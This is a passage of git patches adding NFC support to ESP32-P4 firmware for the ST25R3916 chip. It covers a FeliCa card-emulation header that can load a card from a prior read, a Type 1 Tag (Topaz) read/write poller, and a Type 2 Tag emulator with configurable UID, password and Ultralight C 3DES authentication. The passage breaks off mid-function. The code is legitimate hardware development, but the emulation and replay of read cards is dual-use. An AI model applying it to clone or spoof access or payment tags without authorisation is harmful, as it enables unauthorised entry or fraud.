NFCF_SC. + */ +#ifndef FELICA_EMU_H +#define FELICA_EMU_H + +#include +#include +#include "felica.h" +#include "highboy_nfc_error.h" + +/* ─── Card profile ─────────────────────────────────────────────────────────── */ +#define FELICA_EMU_MAX_BLOCKS 32 +#define FELICA_EMU_MEM_SIZE (FELICA_EMU_MAX_BLOCKS * FELICA_BLOCK_SIZE) + +typedef struct { + uint8_t idm[FELICA_IDM_LEN]; + uint8_t pmm[FELICA_PMM_LEN]; + uint16_t system_code; + uint16_t service_code; /**< service code served for R/W */ + uint8_t block_count; /**< number of blocks available */ + uint8_t mem[FELICA_EMU_MEM_SIZE]; +} felica_emu_card_t; + +/* ─── API ──────────────────────────────────────────────────────────────────── */ + +/** Load card profile (call before configure_target). */ +hb_nfc_err_t felica_emu_init(const felica_emu_card_t* card); + +/** Populate from a prior poller read. raw_mem = block_count × 16 bytes. */ +void felica_emu_card_from_tag(felica_emu_card_t* card, + const felica_tag_t* tag, + uint16_t service_code, + uint8_t block_count, + const uint8_t* raw_mem); + +/** Default blank card (IDm/PMm provided, 16 zeroed blocks). */ +void felica_emu_card_default(felica_emu_card_t* card, + const uint8_t idm[FELICA_IDM_LEN], + const uint8_t pmm[FELICA_PMM_LEN]); + +/** Configure ST25R3916 as NFC-F target and write PT Memory F. */ +hb_nfc_err_t felica_emu_configure_target(void); + +/** Activate field detector, enter SLEEP. */ +hb_nfc_err_t felica_emu_start(void); + +/** Power down. */ +void felica_emu_stop(void); + +/** Call in tight loop (2 ms task). Non-blocking. */ +void felica_emu_run_step(void); + +#endif /* FELICA_EMU_H */ \ No newline at end of file From 9fd09878ec9b6f4d6a1ab7833d884e469590ce9a Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:12:32 -0300 Subject: [PATCH 34/61] feat(nfc): add Type 1 Tag protocol --- .../nfc/protocols/t1t/include/t1t.h | 54 +++ .../Applications/nfc/protocols/t1t/t1t.c | 363 ++++++++++++++++++ 2 files changed, 417 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c diff --git a/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h b/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h new file mode 100644 index 00000000..9ef23536 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h @@ -0,0 +1,54 @@ +/** + * @file t1t.h + * @brief NFC Forum Type 1 Tag (Topaz) commands. + */ +#ifndef T1T_H +#define T1T_H + +#include +#include +#include +#include "highboy_nfc_error.h" + +#define T1T_UID_LEN 7U +#define T1T_UID4_LEN 4U + +typedef struct { + uint8_t hr0; + uint8_t hr1; + uint8_t uid[T1T_UID_LEN]; + uint8_t uid_len; /* 4 or 7 */ + bool is_topaz512; +} t1t_tag_t; + +/** Configure RF for NFC-A 106 kbps and enable field. */ +hb_nfc_err_t t1t_poller_init(void); + +/** Check if ATQA matches Topaz (Type 1). */ +bool t1t_is_atqa(const uint8_t atqa[2]); + +/** Send RID and fill HR0/HR1 + UID0..3. */ +hb_nfc_err_t t1t_rid(t1t_tag_t* tag); + +/** REQA + RID; validates ATQA=0x0C 0x00. */ +hb_nfc_err_t t1t_select(t1t_tag_t* tag); + +/** Read all memory (RALL). Output includes HR0..RES bytes (no CRC). */ +hb_nfc_err_t t1t_rall(t1t_tag_t* tag, uint8_t* out, size_t out_max, size_t* out_len); + +/** Read a single byte at address. */ +hb_nfc_err_t t1t_read_byte(const t1t_tag_t* tag, uint8_t addr, uint8_t* data); + +/** Write with erase (WRITE-E). */ +hb_nfc_err_t t1t_write_e(const t1t_tag_t* tag, uint8_t addr, uint8_t data); + +/** Write no erase (WRITE-NE). */ +hb_nfc_err_t t1t_write_ne(const t1t_tag_t* tag, uint8_t addr, uint8_t data); + +/** Topaz-512 only: read 8-byte block. */ +hb_nfc_err_t t1t_read8(const t1t_tag_t* tag, uint8_t block, uint8_t out[8]); + +/** Topaz-512 only: write 8-byte block with erase. */ +hb_nfc_err_t t1t_write_e8(const t1t_tag_t* tag, uint8_t block, const uint8_t data[8]); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c b/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c new file mode 100644 index 00000000..11bd00db --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c @@ -0,0 +1,363 @@ +/** + * @file t1t.c + * @brief NFC Forum Type 1 Tag (Topaz) protocol (Phase 4). + * + * Implements RID, RALL, READ, WRITE-E, WRITE-NE and Topaz-512 READ8/WRITE-E8. + * CRC is computed in software and transmitted explicitly (CMD_TX_WO_CRC). + */ +#include "t1t.h" + +#include +#include "esp_log.h" + +#include "iso14443a.h" +#include "poller.h" +#include "nfc_rf.h" +#include "nfc_common.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "st25r3916_reg.h" +#include "st25r3916_core.h" +#include "hb_nfc_spi.h" + +#define TAG "t1t" + +#define T1T_ATQA0 0x0CU +#define T1T_ATQA1 0x00U + +#define T1T_CMD_RID 0x78U +#define T1T_CMD_RALL 0x00U +#define T1T_CMD_READ 0x01U +#define T1T_CMD_WRITE_E 0x53U +#define T1T_CMD_WRITE_NE 0x1AU +#define T1T_CMD_READ8 0x02U +#define T1T_CMD_WRITE_E8 0x54U + +#define T1T_RID_RESP_LEN 8U +#define T1T_READ_RESP_LEN 4U +#define T1T_WRITE_RESP_LEN 4U +#define T1T_READ8_RESP_LEN 11U +#define T1T_WRITE8_RESP_LEN 11U +#define T1T_RALL_RESP_LEN 123U +#define T1T_RALL_DATA_LEN (T1T_RALL_RESP_LEN - 2U) + +static void t1t_set_antcl(bool enable) +{ + uint8_t v = 0; + hb_spi_reg_read(REG_ISO14443A, &v); + if (enable) v |= ISO14443A_ANTCL; + else v &= (uint8_t)~ISO14443A_ANTCL; + hb_spi_reg_write(REG_ISO14443A, v); +} + +static void t1t_fifo_read_all(uint8_t* out, size_t len) +{ + size_t off = 0; + while (off < len) { + size_t chunk = (len - off > 32U) ? 32U : (len - off); + (void)st25r_fifo_read(&out[off], chunk); + off += chunk; + } +} + +static int t1t_tx_bits(const uint8_t* tx, size_t tx_len, uint8_t last_bits, + uint8_t* rx, size_t rx_max, size_t rx_min, int timeout_ms) +{ + if (!tx || tx_len == 0) return 0; + + st25r_fifo_clear(); + + uint16_t nbytes = (uint16_t)tx_len; + uint8_t nbtx_bits = 0; + if (last_bits > 0 && last_bits < 8) { + nbtx_bits = last_bits; + nbytes = (tx_len > 0) ? (uint16_t)(tx_len - 1U) : 0U; + } + + st25r_set_tx_bytes(nbytes, nbtx_bits); + if (st25r_fifo_load(tx, tx_len) != HB_NFC_OK) return 0; + + hb_spi_direct_cmd(CMD_TX_WO_CRC); + if (!st25r_irq_wait_txe()) return 0; + + if (rx_min == 0) return (int)tx_len; + + uint16_t count = 0; + int got = st25r_fifo_wait(rx_min, timeout_ms, &count); + if (count < rx_min) { + if (count > 0 && rx && rx_max > 0) { + size_t to_read = (count > rx_max) ? rx_max : count; + t1t_fifo_read_all(rx, to_read); + } + return 0; + } + + if (!rx || rx_max == 0) return got; + + size_t to_read = (got > (int)rx_max) ? rx_max : (size_t)got; + t1t_fifo_read_all(rx, to_read); + return (int)to_read; +} + +static int t1t_send_sequence(const uint8_t* seq, size_t seq_len, + uint8_t* rx, size_t rx_max, size_t rx_min, int timeout_ms) +{ + if (!seq || seq_len == 0) return 0; + + if (t1t_tx_bits(&seq[0], 1, 7, NULL, 0, 0, 0) <= 0) return 0; + + for (size_t i = 1; i < seq_len; i++) { + if (i + 1 == seq_len) { + return t1t_tx_bits(&seq[i], 1, 0, rx, rx_max, rx_min, timeout_ms); + } + if (t1t_tx_bits(&seq[i], 1, 0, NULL, 0, 0, 0) <= 0) return 0; + } + + return 0; +} + +static size_t t1t_append_crc(uint8_t* buf, size_t len, size_t max) +{ + if (len + 2U > max) return 0; + uint8_t crc[2]; + iso14443a_crc(buf, len, crc); + buf[len] = crc[0]; + buf[len + 1U] = crc[1]; + return len + 2U; +} + +static bool t1t_uid4_valid(const t1t_tag_t* tag) +{ + return tag && tag->uid_len >= 4U; +} + +hb_nfc_err_t t1t_poller_init(void) +{ + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_A, + .tx_rate = NFC_RF_BR_106, + .rx_rate = NFC_RF_BR_106, + .am_mod_percent = 0, + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + + if (!st25r_field_is_on()) { + err = st25r_field_on(); + if (err != HB_NFC_OK) return err; + } + + t1t_set_antcl(false); + return HB_NFC_OK; +} + +bool t1t_is_atqa(const uint8_t atqa[2]) +{ + if (!atqa) return false; + return (atqa[0] == T1T_ATQA0 && atqa[1] == T1T_ATQA1); +} + +hb_nfc_err_t t1t_rid(t1t_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + memset(tag, 0, sizeof(*tag)); + + uint8_t cmd[9]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_RID; + cmd[pos++] = 0x00U; + cmd[pos++] = 0x00U; + cmd[pos++] = 0x00U; + cmd[pos++] = 0x00U; + cmd[pos++] = 0x00U; + cmd[pos++] = 0x00U; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[16] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_RID_RESP_LEN, 20); + if (len < (int)T1T_RID_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + tag->hr0 = rx[0]; + tag->hr1 = rx[1]; + + if ((tag->hr0 & 0xF0U) != 0x10U) return HB_NFC_ERR_PROTOCOL; + tag->is_topaz512 = ((tag->hr0 & 0x0FU) == 0x02U); + + tag->uid[0] = rx[2]; + tag->uid[1] = rx[3]; + tag->uid[2] = rx[4]; + tag->uid[3] = rx[5]; + tag->uid_len = 4U; + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_select(t1t_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t1t_poller_init(); + if (err != HB_NFC_OK) return err; + + uint8_t atqa[2] = { 0 }; + if (iso14443a_poller_reqa(atqa) != 2) return HB_NFC_ERR_NO_CARD; + if (!t1t_is_atqa(atqa)) return HB_NFC_ERR_PROTOCOL; + + return t1t_rid(tag); +} + +hb_nfc_err_t t1t_rall(t1t_tag_t* tag, uint8_t* out, size_t out_max, size_t* out_len) +{ + if (!tag || !out) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + if (out_max < T1T_RALL_DATA_LEN) return HB_NFC_ERR_PARAM; + + uint8_t cmd[16]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_RALL; + cmd[pos++] = 0x00U; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[128] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_RALL_RESP_LEN, 50); + if (len < (int)T1T_RALL_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + size_t data_len = (size_t)len - 2U; + if (data_len > out_max) return HB_NFC_ERR_PARAM; + memcpy(out, rx, data_len); + if (out_len) *out_len = data_len; + + if (data_len >= 9U) { + memcpy(tag->uid, &out[2], T1T_UID_LEN); + tag->uid_len = T1T_UID_LEN; + tag->hr0 = out[0]; + tag->hr1 = out[1]; + } + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_read_byte(const t1t_tag_t* tag, uint8_t addr, uint8_t* data) +{ + if (!tag || !data) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + + uint8_t cmd[10]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_READ; + cmd[pos++] = addr; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[8] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_READ_RESP_LEN, 20); + if (len < (int)T1T_READ_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + if (rx[0] != addr) return HB_NFC_ERR_PROTOCOL; + *data = rx[1]; + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_write_e(const t1t_tag_t* tag, uint8_t addr, uint8_t data) +{ + if (!tag) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + + uint8_t cmd[11]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_WRITE_E; + cmd[pos++] = addr; + cmd[pos++] = data; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[8] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_WRITE_RESP_LEN, 20); + if (len < (int)T1T_WRITE_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + if (rx[0] != addr || rx[1] != data) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_write_ne(const t1t_tag_t* tag, uint8_t addr, uint8_t data) +{ + if (!tag) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + + uint8_t cmd[11]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_WRITE_NE; + cmd[pos++] = addr; + cmd[pos++] = data; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[8] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_WRITE_RESP_LEN, 20); + if (len < (int)T1T_WRITE_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + if (rx[0] != addr) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_read8(const t1t_tag_t* tag, uint8_t block, uint8_t out[8]) +{ + if (!tag || !out) return HB_NFC_ERR_PARAM; + if (!tag->is_topaz512) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + + uint8_t cmd[18]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_READ8; + cmd[pos++] = block; + for (int i = 0; i < 8; i++) cmd[pos++] = 0x00U; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[16] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_READ8_RESP_LEN, 30); + if (len < (int)T1T_READ8_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + if (rx[0] != block) return HB_NFC_ERR_PROTOCOL; + memcpy(out, &rx[1], 8); + return HB_NFC_OK; +} + +hb_nfc_err_t t1t_write_e8(const t1t_tag_t* tag, uint8_t block, const uint8_t data[8]) +{ + if (!tag || !data) return HB_NFC_ERR_PARAM; + if (!tag->is_topaz512) return HB_NFC_ERR_PARAM; + if (!t1t_uid4_valid(tag)) return HB_NFC_ERR_PARAM; + + uint8_t cmd[18]; + size_t pos = 0; + cmd[pos++] = T1T_CMD_WRITE_E8; + cmd[pos++] = block; + memcpy(&cmd[pos], data, 8); pos += 8; + memcpy(&cmd[pos], tag->uid, T1T_UID4_LEN); pos += T1T_UID4_LEN; + pos = t1t_append_crc(cmd, pos, sizeof(cmd)); + if (pos == 0) return HB_NFC_ERR_INTERNAL; + + uint8_t rx[16] = { 0 }; + int len = t1t_send_sequence(cmd, pos, rx, sizeof(rx), T1T_WRITE8_RESP_LEN, 30); + if (len < (int)T1T_WRITE8_RESP_LEN) return HB_NFC_ERR_TIMEOUT; + if (!iso14443a_check_crc(rx, (size_t)len)) return HB_NFC_ERR_CRC; + if (rx[0] != block) return HB_NFC_ERR_PROTOCOL; + if (memcmp(&rx[1], data, 8) != 0) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + From c239cfd3355cb400b11d3011159c2f2310a60f9a Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:12:51 -0300 Subject: [PATCH 35/61] feat(nfc): add Type 2 Tag card emulation --- .../nfc/protocols/t2t/include/t2t_emu.h | 48 + .../Applications/nfc/protocols/t2t/t2t_emu.c | 1000 +++++++++++++++++ 2 files changed, 1048 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h b/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h new file mode 100644 index 00000000..2719589f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h @@ -0,0 +1,48 @@ +/** + * @file t2t_emu.h + * @brief NFC-A Type 2 Tag (T2T) Emulation ST25R3916 + */ +#pragma once +#include +#include +#include "highboy_nfc_error.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + T2T_TAG_NTAG213 = 0, + T2T_TAG_NTAG215, + T2T_TAG_NTAG216, + T2T_TAG_ULTRALIGHT_C, +} t2t_tag_type_t; + +typedef struct { + t2t_tag_type_t type; + const char* ndef_text; + + uint8_t uid[7]; + uint8_t uid_len; + + bool enable_pwd; + uint8_t pwd[4]; + uint8_t pack[2]; + uint8_t auth0; + uint8_t access; + + bool enable_ulc_auth; + uint8_t ulc_key[16]; +} t2t_emu_config_t; + +hb_nfc_err_t t2t_emu_init(const t2t_emu_config_t* cfg); +hb_nfc_err_t t2t_emu_init_default(void); +hb_nfc_err_t t2t_emu_configure_target(void); +hb_nfc_err_t t2t_emu_start(void); +void t2t_emu_stop(void); +uint8_t* t2t_emu_get_mem(void); +void t2t_emu_run_step(void); + +#ifdef __cplusplus +} +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c b/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c new file mode 100644 index 00000000..6c8b6cca --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c @@ -0,0 +1,1000 @@ +/** + * @file t2t_emu.c + * @brief NFC-A Type 2 Tag (T2T) emulation for ST25R3916. + * + * Standalone: does not depend on `mf_classic_emu` or `mfc_emu_*`. + * + * [FIX-10] SLEEP/SENSE state flow (critical fix) + * + * Correct ST25R3916 target-mode flow: + * + * CMD_GOTO_SLEEP + * (external field detected IRQ WU_A) + * CMD_GOTO_SENSE + * (reader sends REQA/WUPA; hardware answers ATQA via PT Memory) + * (reader does anticollision; hardware answers BCC/SAK via PT Memory) + * ACTIVE state: software handles READ/WRITE/HALT commands + * + * Previously we called CMD_GOTO_SENSE directly in t2t_emu_start(). + * The `efd` bit in AUX_DISPLAY is only updated while the chip is in SLEEP. + * In SENSE the chip can answer REQA, but efd=1 is not shown in diagnostics + * even if the field is present. + * + * [DIAG] Read REG_RSSI_RESULT at idle to confirm the antenna receives signal. + * RSSI > 0 with phone close: antenna OK, issue was state flow. + * RSSI = 0 always: physical antenna problem. + */ +#include "t2t_emu.h" + +#include +#include +#include "esp_log.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "mbedtls/des.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" + +static const char* TAG = "t2t_emu"; + +#define T2T_PAGE_SIZE 4 +#define T2T_MAX_PAGES 256 +#define T2T_MEM_SIZE (T2T_PAGE_SIZE * T2T_MAX_PAGES) + +#define T2T_CMD_READ 0x30 +#define T2T_CMD_WRITE 0xA2 +#define T2T_CMD_COMP_WRITE 0xA0 +#define T2T_CMD_GET_VERSION 0x60 +#define T2T_CMD_FAST_READ 0x3A +#define T2T_CMD_PWD_AUTH 0x1B +#define T2T_CMD_ULC_AUTH 0x1A +#define T2T_CMD_HALT 0x50 + +#define T2T_ACK 0x0A +#define NTAG_ACCESS_PROT 0x80 + +#define OP_CTRL_TARGET 0xC3 + +static const uint8_t k_atqa[2] = { 0x44, 0x00 }; +static const uint8_t k_sak = 0x00; +static const uint8_t k_uid7_default[7] = { 0x04, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 }; + +typedef struct { + t2t_tag_type_t type; + uint16_t total_pages; + uint16_t user_start; + uint16_t user_end; + uint16_t dyn_lock_page; + uint16_t cfg_page; + uint16_t pwd_page; + uint16_t pack_page; + uint8_t cc_size; + bool supports_get_version; + bool supports_pwd; + bool supports_ulc_auth; + uint8_t version[8]; +} t2t_profile_t; + +static const t2t_profile_t k_profiles[] = { + { + .type = T2T_TAG_NTAG213, + .total_pages = 45, + .user_start = 4, + .user_end = 39, + .dyn_lock_page = 40, + .cfg_page = 41, + .pwd_page = 43, + .pack_page = 44, + .cc_size = 0x12, + .supports_get_version = true, + .supports_pwd = true, + .supports_ulc_auth = false, + .version = { 0x00, 0x04, 0x04, 0x02, 0x01, 0x00, 0x0F, 0x03 }, + }, + { + .type = T2T_TAG_NTAG215, + .total_pages = 135, + .user_start = 4, + .user_end = 129, + .dyn_lock_page = 130, + .cfg_page = 131, + .pwd_page = 133, + .pack_page = 134, + .cc_size = 0x3F, + .supports_get_version = true, + .supports_pwd = true, + .supports_ulc_auth = false, + .version = { 0x00, 0x04, 0x04, 0x02, 0x01, 0x00, 0x11, 0x03 }, + }, + { + .type = T2T_TAG_NTAG216, + .total_pages = 231, + .user_start = 4, + .user_end = 225, + .dyn_lock_page = 226, + .cfg_page = 227, + .pwd_page = 229, + .pack_page = 230, + .cc_size = 0x6F, + .supports_get_version = true, + .supports_pwd = true, + .supports_ulc_auth = false, + .version = { 0x00, 0x04, 0x04, 0x02, 0x01, 0x00, 0x13, 0x03 }, + }, + { + .type = T2T_TAG_ULTRALIGHT_C, + .total_pages = 48, + .user_start = 4, + .user_end = 15, + .dyn_lock_page = 40, + .cfg_page = 41, + .pwd_page = 0, + .pack_page = 0, + .cc_size = 0x06, + .supports_get_version = false, + .supports_pwd = false, + .supports_ulc_auth = true, + .version = { 0 }, + }, +}; + +typedef enum { + T2T_STATE_SLEEP, + T2T_STATE_SENSE, + T2T_STATE_ACTIVE, +} t2t_state_t; + +typedef enum { + ULC_AUTH_IDLE = 0, + ULC_AUTH_WAIT, +} ulc_auth_state_t; + +static uint8_t s_mem[T2T_MEM_SIZE]; +static uint16_t s_page_count = 0; +static uint16_t s_mem_size = 0; +static t2t_profile_t s_prof; + +static uint8_t s_uid[7]; +static uint8_t s_uid_len = 7; + +static bool s_pwd_enabled = false; +static uint8_t s_pwd[4]; +static uint8_t s_pack[2]; +static uint8_t s_auth0 = 0xFF; +static uint8_t s_access = 0x00; + +static bool s_authenticated = false; +static ulc_auth_state_t s_ulc_state = ULC_AUTH_IDLE; +static bool s_ulc_auth_enabled = false; +static uint8_t s_ulc_key[16]; +static uint8_t s_ulc_rndb[8]; +static uint8_t s_ulc_last_iv[8]; + +static bool s_comp_write_pending = false; +static uint8_t s_comp_write_page = 0; + +static t2t_state_t s_state = T2T_STATE_SLEEP; +static bool s_init_done = false; + +static bool wait_oscillator(int timeout_ms) +{ + for (int i = 0; i < timeout_ms; i++) { + uint8_t aux = 0, mi = 0, ti = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_MAIN_INT, &mi); + hb_spi_reg_read(REG_TARGET_INT, &ti); + if (((aux & 0x14) != 0) || ((mi & 0x80) != 0) || ((ti & 0x08) != 0)) { + ESP_LOGI(TAG, "Osc OK in %dms: AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + i, aux, mi, ti); + return true; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Osc timeout - continuing"); + return false; +} + +static const t2t_profile_t* profile_for_type(t2t_tag_type_t type) +{ + for (size_t i = 0; i < sizeof(k_profiles) / sizeof(k_profiles[0]); i++) { + if (k_profiles[i].type == type) return &k_profiles[i]; + } + return NULL; +} + +static void t2t_reset_auth(void) +{ + s_authenticated = false; + s_ulc_state = ULC_AUTH_IDLE; + s_comp_write_pending = false; + memset(s_ulc_rndb, 0x00, sizeof(s_ulc_rndb)); + memset(s_ulc_last_iv, 0x00, sizeof(s_ulc_last_iv)); +} + +static uint16_t get_static_lock_bits(void) +{ + return (uint16_t)s_mem[10] | ((uint16_t)s_mem[11] << 8); +} + +static uint16_t get_dynamic_lock_bits(void) +{ + if (s_prof.dyn_lock_page >= s_page_count) return 0; + size_t off = (size_t)s_prof.dyn_lock_page * T2T_PAGE_SIZE; + return (uint16_t)s_mem[off] | ((uint16_t)s_mem[off + 1] << 8); +} + +static bool is_page_locked(uint16_t page) +{ + if (page < 2) return true; + + uint16_t static_bits = get_static_lock_bits(); + if (page >= 3 && page < 19) { + int bit = (int)(page - 3); + return ((static_bits >> bit) & 0x01U) != 0; + } + + uint16_t dyn_bits = get_dynamic_lock_bits(); + int base = 19; + if (page >= base) { + int idx = (int)((page - base) / 4U); + if (idx >= 0 && idx < 16) return ((dyn_bits >> idx) & 0x01U) != 0; + } + return false; +} + +static bool is_page_protected(uint16_t page) +{ + if (s_ulc_auth_enabled) return page >= s_prof.user_start; + if (!s_pwd_enabled || s_auth0 == 0xFF) return false; + return page >= s_auth0; +} + +static bool can_read_page(uint16_t page) +{ + if (page >= s_page_count) return false; + if (!is_page_protected(page)) return true; + if ((s_access & NTAG_ACCESS_PROT) == 0) return true; + return s_authenticated; +} + +static bool can_write_page(uint16_t page) +{ + if (page >= s_page_count) return false; + if (is_page_locked(page)) return false; + if (is_page_protected(page) && !s_authenticated) return false; + return true; +} + +static void otp_write_bytes(uint8_t* dst, const uint8_t* src, size_t len) +{ + for (size_t i = 0; i < len; i++) dst[i] |= src[i]; +} + +static void ulc_random(uint8_t* out, size_t len) +{ + for (size_t i = 0; i < len; i += 4) { + uint32_t r = esp_random(); + size_t left = len - i; + size_t n = left < 4 ? left : 4; + memcpy(&out[i], &r, n); + } +} + +static void rotate_left_8(uint8_t* out, const uint8_t* in) +{ + out[0] = in[1]; + out[1] = in[2]; + out[2] = in[3]; + out[3] = in[4]; + out[4] = in[5]; + out[5] = in[6]; + out[6] = in[7]; + out[7] = in[0]; +} + +static bool des3_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[8], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[8]) +{ + if ((len % 8) != 0 || !key || !iv_in || !in || !out) return false; + + mbedtls_des3_context ctx; + mbedtls_des3_init(&ctx); + int rc = encrypt ? mbedtls_des3_set2key_enc(&ctx, key) + : mbedtls_des3_set2key_dec(&ctx, key); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return false; + } + + uint8_t iv[8]; + memcpy(iv, iv_in, 8); + rc = mbedtls_des3_crypt_cbc(&ctx, encrypt ? MBEDTLS_DES_ENCRYPT : MBEDTLS_DES_DECRYPT, + len, iv, in, out); + if (iv_out) memcpy(iv_out, iv, 8); + mbedtls_des3_free(&ctx); + return rc == 0; +} + +static hb_nfc_err_t load_pt_memory(void) +{ + uint8_t ptm[15] = { 0 }; + + if (s_uid_len == 4) { + ptm[0] = s_uid[0]; + ptm[1] = s_uid[1]; + ptm[2] = s_uid[2]; + ptm[3] = s_uid[3]; + ptm[10] = k_atqa[0]; + ptm[11] = k_atqa[1]; + ptm[13] = k_sak; + } else { + ptm[0] = s_uid[0]; + ptm[1] = s_uid[1]; + ptm[2] = s_uid[2]; + ptm[3] = s_uid[3]; + ptm[4] = s_uid[4]; + ptm[5] = s_uid[5]; + ptm[6] = s_uid[6]; + ptm[10] = k_atqa[0]; + ptm[11] = k_atqa[1]; + ptm[12] = 0x04; + ptm[13] = k_sak; + } + + ESP_LOGI(TAG, "PT Memory (write):"); + ESP_LOG_BUFFER_HEX_LEVEL(TAG, ptm, 15, ESP_LOG_INFO); + + hb_nfc_err_t err = hb_spi_pt_mem_write(SPI_PT_MEM_A_WRITE, ptm, 15); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "PT write fail: %d", err); + return err; + } + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t rb[15] = { 0 }; + err = 